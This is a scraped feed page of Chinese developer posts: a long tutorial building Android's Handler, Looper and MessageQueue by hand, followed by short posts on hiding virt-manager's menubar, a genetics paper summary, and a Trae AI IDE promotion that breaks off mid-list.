定义两个线程,线程A和线程B,线程A发消息告诉线程B,我想和你打麻将,线程B收到消息后,开始打麻将,那此时我们代码如下:

首先定义全局变量message作为线程通讯的载体,之后定义线程A,在其执行时,给message赋值“我想和你打麻将”;之后线程休眠1秒后,定义线程B,线程B读取message全局变量,当收到 message 为“我想和你打麻将”的消息后,线程B执行打麻将。

package com.xunua.framewwork_handler.part01;

public class Part1 {
    private static String message="";

    public static void main(String[] args) {
        Thread threadA= new Thread(new Runnable() {
            @Override
            public void run() {
                message="我想和你打麻将";
            }
        });
        threadA.start();

        try {
            Thread.sleep(1000);
        } catch (InterruptedException e) {
            throw new RuntimeException(e);
        }

        Thread threadB= new Thread(new Runnable() {
            @Override
            public void run() {
                String str=message;
                if (str.equals("我想和你打麻将")) {
                    playingMahjong();
                }
            }
        });
        threadB.start();
    }

    public static void playingMahjong(){
        System.out.println("打麻将");
    }
}

演变版本

上面的代码最终是在线程B上执行打麻将

但是如果此时我线程A想要的是 线程B来我线程A的家里打麻将 ,那此时就需要在基础版上做改进了。

我们新增全局变量 isAccept,当线程A发信息告诉线程B过来打麻将后,线程B再通过isAccept告诉线程A我来你家打麻将了;

此时线程A在得知线程B到了,就要下去开门和线程B打麻将;

所以线程A在发完邀请消息后,需要等待isAccept的通知,这里我们就使用一个死循环for(;;){ }来实现等待。收到线程B来了打麻将的消息后,线程A再开始打麻将。这里的改动本质就是新增了线程切换的支持。也是Handler原理的最最基础版本。

代码如下:

package com.xunua.framewwork_handler.part01;

public class Part1 {
    private static String message="";
    private static boolean isAccept =false;

    public static void main(String[] args) {
        Thread threadA= new Thread(new Runnable() {
            @Override
            public void run() {
                message="我想和你打麻将";
                for (;;){
                    // try {
                    //     //休眠1毫秒,避免线程B无法访问message变量
                    //     Thread.sleep(1);
                    // } catch (InterruptedException e) {
                    //     throw new RuntimeException(e);
                    // }
                    boolean isTure= isAccept;
                    if (isTure){
                        playingMahjong();
                        isAccept =false;
                    }
                }
            }
        });
        threadA.start();

        try {
            Thread.sleep(1000);
        } catch (InterruptedException e) {
            throw new RuntimeException(e);
        }

        Thread threadB= new Thread(new Runnable() {
            @Override
            public void run() {
                if (message.equals("我想和你打麻将")) {
                    isAccept =true;
                }
            }
        });
        threadB.start();
    }

    public static void playingMahjong(){
        System.out.println("开始打麻将");
    }
}

总结

很明显,基础版中,我们通过全局变量也能实现线程通信。但我们使用handler的场景往往是类似演变版本:“在任意线程发送一条延时消息,当定时结束后回到指定线程执行。“ 因此,Handler最核心的地方不是解决线程通信,而是解决线程切换

而且,由于Handler是通过Message机制实现了线程切换,那么也可以顺便在线程切换的同时附加上消息传递;所以,Message消息机制既实现了线程切换,也顺带解决了线程切换中的通信问题。

问题:Looper.loop()会阻塞线程吗?

在子线程创建Handler后,执行Looper.loop()后,其下一行的代码是否还会执行?

比方说,下面的代码中,我们在onCreate时,开启了一个子线程的Looper,并创建Handler;那么当Looper.loop()被调用时,因为loop()是开启死循环,那其下一行的代码还会执行吗?

    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)
        enableEdgeToEdge()
        setContentView(R.layout.activity_main)
        ViewCompat.setOnApplyWindowInsetsListener(findViewById(R.id.main)) { v, insets ->
            val systemBars = insets.getInsets(WindowInsetsCompat.Type.systemBars())
            v.setPadding(systemBars.left, systemBars.top, systemBars.right, systemBars.bottom)
            insets
        }
        handlerLoop()
    }
    
    private var threadHandler:Handler?=null
    private fun handlerLoop() {
        Thread(){
            run {
                Log.i(TAG, "handleMessage:  子线程执行")
                Looper.prepare()
                threadHandler=object:Handler(){
                    override fun handleMessage(msg: Message) {
                        Log.i(TAG, "handleMessage:  子线程收到消息:$msg")
                        super.handleMessage(msg)
                    }
                }
                Looper.loop()
                Log.i(TAG, "handleMessage:  Looper.loop()未阻塞")
            }
        }.start()
    }

    //通过点击按钮调用sendMessageToThreadHandler函数发送消息
    fun sendMessageToThreadHandler(view: View){
        threadHandler?.sendMessage(threadHandler?.obtainMessage()?:return)
    }

执行结果:

handleMessage:  子线程执行
handleMessage:  子线程收到消息:{ when=0 what=0 target=com.xunua.framewwork_handler.MainActivity$handlerLoop$1$1$1 hashCode=44227d1 }

结论:

Looper.loop()后的日志未被打印,由此可见,Looper.loop() 在被调用后, 会阻塞 当前线程,导致后续代码不被执行。

Handler 与 使用全局变量的实现线程通信/切换 两者的区别

如果我们使用前面的 全局变量实现线程的通信与切换 案例,那么会遇到一些通信问题,如:

  • 消息执行的先后顺序
  • 线程并发造成的访问问题

而Handler借助引入的Message机制,从而解决了上述的那些通信问题。

Handler架构图

那么我们接下来学习Handler的架构,在Handler机制中,它有4个主角,我们称他们是四大天王;分别是:

  • Looper每个线程都可以有一个 Looper; 它会不断从消息队列中取出消息进行处理 内置一个死循环,可以不断的取出消息并通知handler处理消息,是handler起作用的基础。 主线程(UI 线程)默认已经有一个 Looper 实例
  • MessageQueue: 每个 Looper 持有一个 MessageQueue;它是一个消息队列存储着需要处理的消息和任务
  • Handler:Handler绑定到一个指定的Looper中,它用于发送 消息与任务到当前Looper所在消息队列(MessageQueue)中。
    同时,Handler还需要负责 处理 这些消息和任务
  • Message: Message是一个简单的数据日期,通常包含whatarg1arg2obj字段,用于携带不同的数据。

查看下方的示例图,这是一个运输机在运货:

  1. 首先是 用来运输与暂时放置货物的就是MessageQueue,他作为运输机的传送带角色,将货物运输到指定位置。
    如:通过put方法将需要传输的数据存入到MessageQueue中。
  2. 而我们的Handler则是那个将货物(Message)放入到传送带的角色。
    如:调用sendMessagepostMessage函数后,由Handler将货物放到传送带MessageQueue上。
  3. Message则很容易理解了 就是被运输的货物。
  4. 传输带还需要齿轮转动来提供动力才能运行起来,而Looper就是提供能让传送带运行所需要的动力的角色。通过Looper.loop()使得传送带运行。
  5. MessageQueue中抵达终点的货物,还需要有个人取货;所以Handler同时也扮演了取货的角色,将需要被取出的货物取出进行处理。

  • 队列可以解决消息阻塞吗?

答:不可以,但是可以尽可能削峰填谷。

  • 发送线程在主线程,接收线程在子线程。
  • Looper机制保证一个线程只能有一个队列,Looper的生命周期就是当前写昵称生命周期的长度。(handler是不能保证只有一个队列或者只有一个for循环的)

Handler发送消息-函数调用过程

我们接下来从Handler的sendMessage函数作为入手点,进入源码发现,函数的调用流程为sendMessage(@NonNull Message msg)->sendMessageDelayed(msg, 0)->sendMessageAtTime(msg, SystemClock.uptimeMillis() + delayMillis)->Handler.enqueueMessage(queue, msg, uptimeMillis)->MessageQueue.enqueueMessage(msg, uptimeMillis)

可以看到,在Handler调用sendMessage()时,源码中先是执行sendMessageDelayed,再是sendMessageAtTime,随后sendMessageAtTime在Handler中, 不管调用的 sendEmptyMessage也好、sendMessage也好、又或是post等所有的发送消息的函数,它最终都是要经过 Handler的sendMessageAtTime函数

而在sendMessageAtTime之后,就是执行Handler提供的enqueueMessage函数,handler.enqueueMessage的作用则是给持有handler实例的目标提供一个入口,用来执行MessageQueue的enqueueMessage,将消息存入。

最终执行MessageQueue的enqueueMessage,由MessageQueue完成消息的存入。

手写Handler

我们接下来尝试手写一个handler,由浅入深逐步优化;新建一个module(library),用来编写handler代码。

基本版

实现

首先是编写Handler类,Handler中我们常用的API有:构造方法new Handler,发送消息 sendMessage、接收消息handleMessage;当我们发送sendMessage时,就会调用handlerMessage回调;Handler中还需要发送一个Message类型,我们先创建一个Message类,并配置一个成员变量用来存放消息:

package com.example.handler;

public class Message{
    String obj;

    public Message(String obj) {
        this.obj = obj;
    }
}

之后编码Handler,我们定义了构造函数sendMessagehandlerMessage;当我们通过handler的sendMessage发送消息后,handler内部立马调用handlerMessage执行,这是最简单的handlerMessage架构

package com.example.handler;

public class Handler {
    Handler(){

    }

    public void handlerMessage(Message message){

    }

    public void sendMessage(Message message){
        handlerMessage(message);
    }
}

编写测试代码:

package com.example.handler;

public class ActivityThread {
    public static void main(String[] args) {
        Handler handler = new Handler() {
            @Override
            public void handlerMessage(Message message) {
                super.handlerMessage(message);
                System.out.println("handlerMessage->" + message.obj);
            }
        };
        handler.sendMessage(new Message("发送了一条信息 10011"));
    }
}

弊端

基础版的写法存在弊端,如:

  1. 处理不及时:消息的存和取是同时发生的,且存和取的速率是不一样的;大量消息过来的时候,容易出现阻塞与OOM。
    在我们产生数据的时候,可能每秒产生一千次一万次;但是处理时一秒钟只能处理一百次;那么这样的话消费者来不及消费生成者生产的内容。所以需要继续演进来解决这个缺陷。handler的存和区符合 生产者与消费者的关系,所以我们可以通过生产者、消费者设计模式
    来解决这个问题。
  2. 不能做到线程通信+线程切换

演变版本第一代:解决消息处理不及时问题,并初步具备线程切换能力

生产者、消费者模式的最核心的点是有一个中间队列,生产者生产的内容不断往中间队列,消费者从中间队列不断地

我们先创建一个中间队列类,MessageQueue类,内部使用一个阻塞队列BlockingQueue作为成员变量类型,并提供putnext对外接口来支持货物的存取

package com.example.handler;

import java.util.concurrent.ArrayBlockingQueue;
import java.util.concurrent.BlockingQueue;

public class MessageQueue {
    BlockingQueue<Message> queue = new ArrayBlockingQueue<>(100);

    public void put(Message message){
        queue.offer(message);
    }

    public Message next(){
        Message message;
        try {
            message=queue.take();
        } catch (InterruptedException e) {
            throw new RuntimeException(e);
        }
        return message;
    }
}

首先提出一个问题,大家可以带着疑问继续看下去:在Activity类的内部,通过继承Handler后创建实例对象,这种写法明明有造成内存泄漏的风险;为什么google的工程师不解决?其实这是架构设计的一种妥协,在下面会提到原因。

class MyHandler extends Handler{
    
}

new MyHandler();

我们继续改造Handler,在Handler内部先创建一个MessageQueue成员变量作为中间队列;

MessageQueue messageQueue = new MessageQueue();

并且我们再创建一个looper函数来实现死循环,保证一直读取/等候MessageQueue的消息;(由于要实现生产者、消费者模式,那么一定是要两个线程(一个存、一个取),如果都在一个线程,那么就运行不了的,没有意义。所以我们等下还要创建两个线程。)

我们在死循环中读取信息,如果有信息,那么就调用handlerMessage:

   public void looper(){
        for (;;){
            Message msg = messageQueue.next();
            if (msg!=null) {
                handlerMessage(msg);
            }
        }
    }

修改sendMessage函数:既然我们是在looper中读到消息后调用handlerMessage,那么sendMessage也要修改为”往MessageQueue中存数据“,而不是同步调用handlerMessage函数。

    public void sendMessage(Message message){
        messageQueue.put(message);
    }

在Handler中,sendMessage是生产者,而handlerMessage则作为消费者。前面提到生产者和消费者不能在同一线程,所以我们需要使生产者和消费者不在同一线程中,所以我们的Handler创建looper()函数都要在新开的子线程中执行,而sendMessage则放在主线程调用,代码如下:

package com.example.handler;

public class ActivityThread {
    private static Handler handler;
    public static void main(String[] args) {
        //新开子线程来实现handlerMessage 与 looper开启
        new Thread(new Runnable() {
            @Override
            public void run() {
                handler = new Handler() {
                    @Override
                    public void handlerMessage(Message message) {
                        super.handlerMessage(message);
                        System.out.println("handlerMessage->" + message.obj);
                    }
                };
                handler.looper();
            }
        }).start();
        try {
            Thread.sleep(1000);
        } catch (InterruptedException e) {
            throw new RuntimeException(e);
        }
        //在主线程发送消息
        handler.sendMessage(new Message("发送了一条信息 10012"));
    }
}

常见问题

  1. 队列是如何解决大量消息问题的?
    队列解决不了大量阻塞问题,但能够实现生产者大量生产,消费者慢慢消化
    通过这种靠时间来慢慢消化,从而削峰填谷。如果超出队列最大容量,那就只能OOM,死结,所以需要控制好。
  2. 用队列可以解决消息阻塞吗?
  3. sendMessage是在哪个线程执行?
    答:在哪被调用,就是在哪个线程执行。
  4. 发的消息在哪个线程执行handlerMessage的?
    答:在你执行looper()函数的子线程中执行的。

演变版本第二代:实现一个线程可以有很多Handler

第一代解决了消息处理不及时容易阻塞的问题,并初步具备了线程切换能力

但是在Android中,一个线程可以有很多Handler对象;可我们现在写的版本中,每个Handler都有一个MessageQueue队列,并且每个队列都一定要通过looper()来读取,那么在同一个线程中如果创建多个Handler,每一个handler实例内部都需要执行looper,可在同一个线程中,执行了一个looper后,下面的代码就会因为被阻塞无法再创建handler了;如下代码中,我们在子线程创建了3个handler,但是依托于演变版本第一代的话,在执行到handlers[0].looper();时子线程就阻塞了,导致其下面的代码都无法执行,从而 无法创建多个handler实例

package com.example.handler;

public class ActivityThread {
    private static Handler handlers[]=new Handler[10];
    public static void main(String[] args) {
        //新开子线程来实现handlerMessage 与 looper开启
        new Thread(new Runnable() {
            @Override
            public void run() {
                handlers[0] = new Handler() {
                    @Override
                    public void handlerMessage(Message message) {
                        super.handlerMessage(message);
                        System.out.println("handlerMessage01->" + message.obj);
                    }
                };
                handlers[0].looper();//在这里就已经阻塞了当前线程。
                handlers[1] = new Handler() {
                    @Override
                    public void handlerMessage(Message message) {
                        super.handlerMessage(message);
                        System.out.println("handlerMessage02->" + message.obj);
                    }
                };
                handlers[1].looper();
                handlers[2] = new Handler() {
                    @Override
                    public void handlerMessage(Message message) {
                        super.handlerMessage(message);
                        System.out.println("handlerMessage03->" + message.obj);
                    }
                };
                handlers[2].looper();
            }
        }).start();
        try {
            Thread.sleep(1000);
        } catch (InterruptedException e) {
            throw new RuntimeException(e);
        }
        //在主线程发送消息
        handlers[0].sendMessage(new Message("发送了一条信息-handler-1  10012"));
        System.out.println("打印handler2:"+handlers[1]);
        if (handlers[1]!=null) handlers[1].sendMessage(new Message("发送了一条信息-handler-2  10012"));
        System.out.println("打印handler3:"+handlers[2]);
        if (handlers[2]!=null) handlers[2].sendMessage(new Message("发送了一条信息-handler-3  10012"));
    }
}
输出结果:
handlerMessage01->发送了一条信息-handler-1  10012
打印handler2:null
打印handler3:null

所以我们需要基于上述问题优化,Looper的作用是为了查找MessageQueue;所以我们现在要将MessageQueue放到Looper中,并且多个Handler持有一个Looper。

我们先创建Looper,并且将Handler中的MessageQueue移动到Looper中,并且我们知道,一个Looper只持有一个MessageQueue,所以在Looper被创建时,创建MessageQueue:

package com.example.handler;

public class Looper {
    //一个线程只能一个Looper
    MessageQueue messageQueue;
    private Looper(){
        messageQueue = new MessageQueue();
    }
}

之后还需要在Looper中实现preparelooper函数;因为在Handler中,一个线程只有一个looper且一个looper只持有一个MessageQueue,所以我们需要保证每个线程中MessageQueue只有一个。
那我们可以看到Thread源码内有一个ThreadLocal.ThreadLocalMap threadLocals成员,这个ThreadLocal.ThreadLocalMap ****是 ThreadLocal 的一个内部静态类,用于实现线程局部变量的存储(key是ThreadLocal对象,value是Object类型)。而 ThreadLocal 内部是使用当前线程的 ThreadLocalMap 来存储每个线程的局部变量。 当我们调用 ThreadLocal 的 get、set 或 remove 方法时,实际操作的是当前所处线程Thread的 ThreadLocalMap 实例。

PS:可以将threadLocal理解为一个工具类,他的作用是帮助我们操作当前线程的ThreadLocalMap实例。

所以我们的Looper对象也可以借助ThreadLocal类来进行存储,我们首先在Looper中创建一个ThreadLoca的静态全局变量,并且借助ThreadLocal在set时,他会获取当前set所处的线程的ThreadLocalMap,并把我们新建的Looper对象存储到该线程的ThreadLocalMap中

注:ThreadLocal在进行set时,它会将ThreadLocal本身作为key,我们传入的Looper对象作为value,然后存储在当前所处线程的ThreadLocalMap中

每次调用prepare函数时,我们检查当前线程的ThreadLocalMap中有没有Looper实例,如果有,则抛出异常提示不允许二次调用;如果没有,则创建新的Looper对象并将其存储到当前线程的ThreadLocalMap中;那么我们开始编码prepare函数:

    //利用 threadlocal 去找到线程中的 threadloaclMap。因为线程对象都有一一对应的threadmap。
    //那么如何通过threallocal去找到threadmap呢?
    //ThreadLocal 只能放一个东西。
    static ThreadLocal<Looper> threadLocal=new ThreadLocal<>();
    
    //Looper的生命周期有多长?与线程生命周期一致
    public static void prepare(){
        // Looper持有队列,需要保证队列只有一个。
        // 在线程中有一个  ThreadLocal.ThreadLocalMap threadLocals;
        // ThreadLocal 是一个用于创建线程局部变量的类。每个线程都可以通过 ThreadLocal 对象独立地存取变量,而不会与其他线程干扰。
        // ThreadLocal 提供了一种避免多线程之间共享状态的简单方式。
        // ThreadLocal.ThreadLocalMap 是 ThreadLocal 的一个内部静态类,用于实现线程局部变量的存储。以下是一些关键点:
        //奇葩,以自己的对象作为key,以此取出在当前对象设置的Looper
        if (threadLocal.get()!=null) {
            //保证一个线程只有一个Looper一共使用了两种方式:
            // 方法①:利用threadLocal将Looper对象存到thread对象中的threadLocalmap中。
            // 方法②:调用prepare时,会从threadLocal中找有没有存在这个Looper,如果存在就报错。
            //不允许在同一个线程调用多次prepare,如果重复调用就抛出异常。
            throw  new RuntimeException("Only one Looper may be created per thread");
        }
        //key:自己threadLocal对象  value:Looper。存到线程内部。
        //ThreadLocal在进行set时,它会将ThreadLocal本身作为key,我们传入的Looper对象作为value,然后存储在当前所处线程的ThreadLocalMap中。
        threadLocal.set(new Looper());
    }

借助ThreadLocal ,我们实现了一个线程只有一个Looper对象,也保证了一个Looper只有一个MessageQueue实例。

接下来是写Looper的looper函数,在这个函数中开启死循环;

借助ThreadLocal.get()函数可以获取当前所处线程的中,以ThreadLocal对象为key的键值对的value(即我们在prepare中存储的looper对象);

得到looper后我们就能得到looper持有的MessageQueue,通过死循环遍历MessageQueue,我们就拿到了MessageQueue内部的消息Message,代码如下:

    //保证Looper唯一
    public static void looper(){
        Looper me = threadLocal.get();
        if (me==null) return;
        MessageQueue queue = me.messageQueue;
        for (;;){
            Message msg = queue.next();
            if (msg!=null) {
                //一个线程n个Handler,没法通知到所有的Handler。
                //google也很无奈,最终,妥协的产物很恶心,是:当handler发送消息时,在Message中 使Message持有Handler。
                // 使得我们拿到Message就能拿到Handler,这也就导致了Handler可能的内存泄漏。
                handlerMessage(msg)
            }
        }
    }

接下来我们需要将消息给到Handler的handlerMessage,但是这里就犯难了;因为一个线程可以创建n个Handler,但是一个线程只有一个looper,我looper拿到消息后,不知道线程中存在多少个Handler实例,很难做到全部通知到;所以最后google工程师妥协了,也是这个妥协导致Handler存在内存泄漏风险,但这也是没有办法的;这个妥协就是:既然我looper没法通知到全部Handler,那么我就修改Message类,在Message类中添加一个全局变量Handler handler来持有handler对象,当我们调用handler的发送消息时,handler内部会在消息发送前把自身实例this放入到Message对象中 。这样,当looper拿到Message后,直接从Message拿到handler的实例并调用handlerMessage。 代码如下:

package com.example.handler;

public class Message{
    //发送当前Message的handler实例
    Handler handler;
    String obj;

    public Message(String obj) {
        this.obj = obj;
    }

    public Message(Handler handler, String obj) {
        this.handler = handler;
        this.obj = obj;
    }
}
    //保证Looper唯一
    public static void looper(){
        //.....
        for (;;){
            Message msg = queue.next();
            if (msg!=null) {
                //一个线程n个Handler,没法通知到所有的Handler。
                //google也很无奈,最终,妥协的产物很恶心:当handler发送消息时,在Message中 使Message持有Handler。
                //使得我们拿到Message就能拿到Handler,这也就导致了Handler可能的内存泄漏。
                msg.handler.handlerMessage(msg);
            }
        }
    }
    public void sendMessage(Message message){
        enqueueMessage(message);
    }

    private void enqueueMessage(Message message) {
        //handler发送Message前,将自身实例放入到Message变量中
        message.handler=this;
        //获取当前线程的ThreadLocalMap,从中取出looper,再通过looper拿到MessageQueue,然后将Message存入到MessageQueue
        Looper.threadLocal.get().messageQueue.put(message);
    }

接下来Handler还需要改造一个点,我们Android中的Handler是支持自定义传Looper的,所以我们在Handler中再修改一下:

添加Looper成员变量,以支持指定 Handler 在哪个Looper中运输消息:

package com.example.handler;

public class Handler {
    Looper mLooper;

    Handler(){
        mLooper=Looper.myLooper();
    }

    public Handler(Looper mLooper) {
        this.mLooper = mLooper;
    }

    public void handlerMessage(Message message){

    }

    public void sendMessage(Message message){
        enqueueMessage(message);
    }

    private void enqueueMessage(Message message) {
        //handler发送Message前,将自身实例放入到Message变量中
        message.handler=this;
        //获取当前线程的ThreadLocalMap,从中取出looper,再通过looper拿到MessageQueue,然后将Message存入到MessageQueue
        mLooper.messageQueue.put(message);
    }
}

然后我们就可以使用我们演进版第二代的Handler了,测试在一个线程中支持多个Handler;代码如下:

package com.example.handler;

public class ActivityThread {
    private static Handler handlers[]=new Handler[10];
    public static void main(String[] args) {
        //新开子线程来实现handlerMessage 与 looper开启
        new Thread(new Runnable() {
            @Override
            public void run() {
                Looper.prepare();
                handlers[0] = new Handler() {
                    @Override
                    public void handlerMessage(Message message) {
                        super.handlerMessage(message);
                        System.out.println("handlerMessage01->" + message.obj);
                    }
                };
                handlers[1] = new Handler() {
                    @Override
                    public void handlerMessage(Message message) {
                        super.handlerMessage(message);
                        System.out.println("handlerMessage02->" + message.obj);
                    }
                };
                handlers[2] = new Handler() {
                    @Override
                    public void handlerMessage(Message message) {
                        super.handlerMessage(message);
                        System.out.println("handlerMessage03->" + message.obj);
                    }
                };
                Looper.looper();
            }
        }).start();
        try {
            Thread.sleep(1000);
        } catch (InterruptedException e) {
            throw new RuntimeException(e);
        }
        //在主线程发送消息
        handlers[0].sendMessage(new Message("发送了一条信息-handler-1  10012"));
        System.out.println("打印handler2:"+handlers[1]);
        if (handlers[1]!=null) handlers[1].sendMessage(new Message("发送了一条信息-handler-2  10012"));
        System.out.println("打印handler3:"+handlers[2]);
        if (handlers[2]!=null) handlers[2].sendMessage(new Message("发送了一条信息-handler-3  10012"));
    }
}

输出:
handlerMessage01->发送了一条信息-handler-1  10012
打印handler2:com.example.handler.ActivityThread$1$2@7791a895
打印handler3:com.example.handler.ActivityThread$1$3@3a5ed7a6
handlerMessage02->发送了一条信息-handler-2  10012
handlerMessage03->发送了一条信息-handler-3  10012

这样我们的手写handler就初具雏形了,也算是完成了。如果我们想让Handler在主线程接收消息,在子线程发消息,也是一样支持的。

面试题:为什么Handler会引发内存泄漏?

首先,通过以下方式创建的Handler,会导致内存泄漏:

public class MainActivity extends AppCompatActivity {
    private Handler handler=new Handler(){
        @Override
        public void handlerMessage(Message message) {
            super.handlerMessage(message);
            
        }
    };
}

主要围绕两个方面:内存泄漏的本质持有链。

内存泄漏的本质 :长生命周期对象持有短生命周期对象。

持有链: 首先是Handler持有外部的MainActivity(内部类对象默认持有外部类的引用) 然后在Android官方的Handler机制中,Message中持有了Handler;而MessageQueue存储了Message;Looper又持有了MessageQueue,且Looper是长生命周期的对象,它的生命周期与所绑定的线程 Thread **生命周期一致,调用链整体如下:
**Thread -> Looper -> MessageQueue -> Message -> MyHandler -> MainActivity

所以我们又回归到了内存泄漏的本质长生命周期Thread间接持有短生命周期的Activity引用导致Activity在需要销毁时迟迟得不到销毁,所以导致泄露

by 涂鸦cc at January 22, 2025 08:36 AM

juejin freebie

virt-manager 无边框|隐藏菜单栏

virt-manager 打开虚拟机图形控制台,其上方详情菜单栏无法隐藏,无法做到无缝沉浸使用。

1.png

可以通过修改其源代码隐藏掉。而且 virt-manager 源代码是 python 脚本,所以修改后不需要重新打包就能直接生效。

在 ArchLinux 中,通过 yay -S virt-manager 安装的程序文件在 /usr/share/virt-manager 路径中。

打开 /usr/share/virt-manager/virtManager/vmwindow.py 文件,在其中找到 self.init_menus() 这一行代码,在后面添加隐藏菜单栏的逻辑保存即可:

# 找到这一行
self.init_menus()
# 添加隐藏菜单的逻辑
import os
if os.environ.get("HIDE_VM_MENUBAR", "0") == "1":
    self.widget("details-menubar").hide()

后续使用时就可以通过 HIDE_VM_MENUBAR 变量来控制菜单的显示,用法如下:

# 正常启动,默认显示菜单栏
virt-manager
# 添加变量,隐藏虚拟机菜单
HIDE_VM_MENUBAR=1 virt-manager
# 直接打开虚拟机控制台,隐藏菜单栏
HIDE_VM_MENUBAR=1 virt-manager -c qemu:///system --show-domain-console Win11

可以把命令写到脚本或者 Desktop 中方便使用,打开后效果如下:

2.png

如果有黑边那就是虚拟系统没能自适应调整分辨率填满窗口,一般重启就好了。

标题栏我是直接通过 KDE 窗口规则隐藏掉了,各个桌面环境不同也有各自的解决方案,不再展开。

其实直接把 /usr/share/virt-manager/ui/vmwindow.ui 文件中的 <object class="GtkMenuBar" id="details-menubar">visible 属性改为 false 也是可以的,改起来简单但没有环境变量灵活。

如果有人能 fork 一个分支,直接加上窗口大小调整、隐藏各种菜单工具栏的功能按钮就好了,没研究过 python 开发,以后有时间可以试试。

by hanw at January 22, 2025 08:35 AM

juejin article

文献解读-Pathogenic variants carrier screening in New Brunswick: Acadians reveal hig

文献解读-Population Sequencing.png

关键词:创始人群体;变异分析;基因检测;


文献介绍

  • 标题(英文) :Pathogenic variants carrier screening in New Brunswick: Acadians reveal high carrier frequency for multiple genetic disorders
  • 标题(中文) :新不伦瑞克省的致病变异携带者筛查:阿卡迪亚人揭示了多种遗传疾病的高携带者频率
  • 发表期刊:BMC Medical Genomics
  • 作者单位:亚特兰大癌症研究所等
  • 发表年份:2022
  • 文章地址doi.org/10.1186/s12…

图1  文献介绍

图1 文献介绍

阿卡迪亚人作为一个具有独特遗传背景的群体,可能面临较高的遗传疾病风险,但目前缺乏对这一群体致病变异的系统评估。为此,研究者对加拿大新不伦瑞克省的阿卡迪亚人进行了扩展的遗传疾病携带者筛查,旨在评估对该人群实施标准化携带者筛查计划的有用性。


测序流程

在该研究数据分析过程中,使用Sentieon进行序列比对、质量控制、以及变异检测。

Sentieon在这项研究中展现了显著优势。以高性能和准确性著称,能快速处理大量基因组数据。作为一体化解决方案Sentieon简化了分析流程,提高了效率。可扩展性和质量控制功能确保了结果的可靠性和一致性。以上特点使Sentieon成为处理大规模基因组数据的理想工具,特别适合此类人群遗传学研究。

图2  Sentieon的作用

图2 Sentieon的作用

研究招募了60名符合条件的参与者,均为19岁或以上、居住在新不伦瑞克省东南部、至少有一个在新不伦瑞克省出生的阿卡迪亚祖父母,并持有有效新不伦瑞克省医疗保险号码的个人。研究采用包含312个常染色体隐性疾病相关基因和30个X连锁基因的测序面板进行分析。

图3  测序面板中包含的基因

图3 测序面板中包含的基因

研究结果显示,60名参与者中有43人(71.7%)携带至少一个致病变异,21名参与者(35%)携带多个致病变异。研究共发现29个基因中的36个致病变异,涉及28种常染色体隐性疾病和1种X连锁疾病。

最常见的变异是SERPINA1基因中的致病错义变异(c.863A>T),在11个个体中检测到,占样本的18.3%。两名参与者(3.3%)为MTHFR (c.665A>C)纯合子,一名参与者(1.7%)为NPHS2变异纯合子。

图4   60名参与者中致病变异的分布

图4 60名参与者中致病变异的分布

与gnomAD数据库中的非芬兰欧洲人(NFE)相比,36个致病变异中有29个(80.6%)在阿卡迪亚人群中的频率更高。其中,5个基因(AIRE、BCHE、ETFDH、RAPSN和SLC17A5)中的6个变异在Bonferroni校正后显著富集。例如,AIRE基因中的c.967_979del13变异在阿卡迪亚人群中的频率为0.0167,而在NFE中为0.0003,富集倍数达55.67倍。

图5   观察到的等位基因频率(AF)和杂合频率(HF)与gnomAD数据库中非芬兰欧洲人群的比较

图5 观察到的等位基因频率(AF)和杂合频率(HF)与gnomAD数据库中非芬兰欧洲人群的比较

基于Hardy-Weinberg平衡和2016年加拿大人口普查数据,研究估计了部分遗传病的年度受影响活产数。例如,唾液酸贮积症每年预计有1.5例,自身免疫性多内分泌腺病综合征I型每年1.8例。

图6  Hardy-Weinberg平衡比较

图6 Hardy-Weinberg平衡比较

Sentieon 软件团队拥有丰富的软件开发及算法优化工程经验,致力于解决生物数据分析中的速度与准确度瓶颈,为来自于分子诊断、药物研发、临床医疗、人群队列、动植物等多个领域的合作伙伴提供高效精准的软件解决方案,共同推动基因技术的发展。 截至 2023 年 3 月份,Sentieon 已经在全球范围内为 1300+用户提供服务,被世界一级影响因子刊物如 NEJM、Cell、Nature 等广泛引用,引用次数超过 700 篇。此外,Sentieon 连续数年摘得了 Precision FDA、Dream Challenges 等多个权威评比的桂冠,在业内获得广泛认可。


文献讨论

图7  文献讨论

图7 文献讨论

研究首次对新不伦瑞克省阿卡迪亚人进行致病变异携带者筛查,发现某些基因变异频率显著高于一般欧洲人群,表明存在创始人效应。这突出了对阿卡迪亚人进行更全面遗传筛查的必要性。然而,由于样本量有限且仅覆盖部分地区,研究结果的代表性和普适性还需进一步验证。


总结

这项初步研究为了解阿卡迪亚人的遗传特征提供了基础数据,为制定针对性的遗传筛查计划指明了方向。未来需要更大规模的研究来全面评估该人群的遗传风险,并制定适当的预防和早期诊断策略。

by INSVAST at January 22, 2025 08:32 AM

juejin frontend

字节跳动推出AI编程神器Trae,基于Trae 从 0 开发一个Google 插件!

我正在参加Trae「超级体验官」创意实践征文,  本文所使用的 Trae 免费下载链接:  www.trae.ai 图片

2025年1月20日,字节跳动正式发布了AI编译器Trae,这款产品不仅标配了Claude 3.5 Sonnet和GPT-4o两大顶级AI模型,还限时免费开放下载,瞬间引爆了开发者社区。作为一款AI驱动的集成开发环境(IDE),Trae的目标是让编程变得更智能、更高效。今天,我们就来深度解析这款“编程神器”,看看它如何改变开发者的工作方式。

目前Window 需要排队使用。

Trae主要功能

1. 智能化代码生成与优化

  • 通过自然语言生成代码片段,支持代码补全、优化和重构,帮助开发者高效编程。

2.AI驱动的交互模式

图片

  • Chat模式:支持代码问题解答和代码更新建议。
  • Builder模式:基于用户需求直接生成完整的代码项目。

3. 原生中文支持

图片

  • 从底层设计上支持中文,界面语言全面中文化,适合中文开发者使用。

4.集成主流AI模型

图片

  • 内置Claude 3.5和GPT-4o等强大AI模型,完全免费使用,帮助开发者快速生成高质量代码。

5.便捷的项目预览与调试

图片

提供Webview功能,支持在IDE内直接预览Web页面,方便前端开发。

6.灵活的上下文引用

图片

在AI对话中支持引用代码块、文件、文件夹或整个项目,便于精准交互。

7.高效开发体验

图片

提供简洁直观的交互界面,支持代码变更的直观展示和快速应用。

Trae如何使用

1.安装与启动

image.png

访问Trae官网(trae.ai)下载安装包,首次启动时可以选择界面语言(推荐中文)和主题。支持与VSCode或Cursor配置迁移,方便快捷上手。

2.注册与登录

image.png

使用Google邮箱或社交媒体账号注册并登录,登录后可免费使用内置的AI模型(如Claude 3.5和GPT-4o)。

3.Chat模式

image.png

image.png

  • 使用快捷键(cmd + i 或 cmd + u)调用Chat功能。
  • 在对话框中输入问题或代码需求,Trae会基于AI模型生成代码建议或解答。
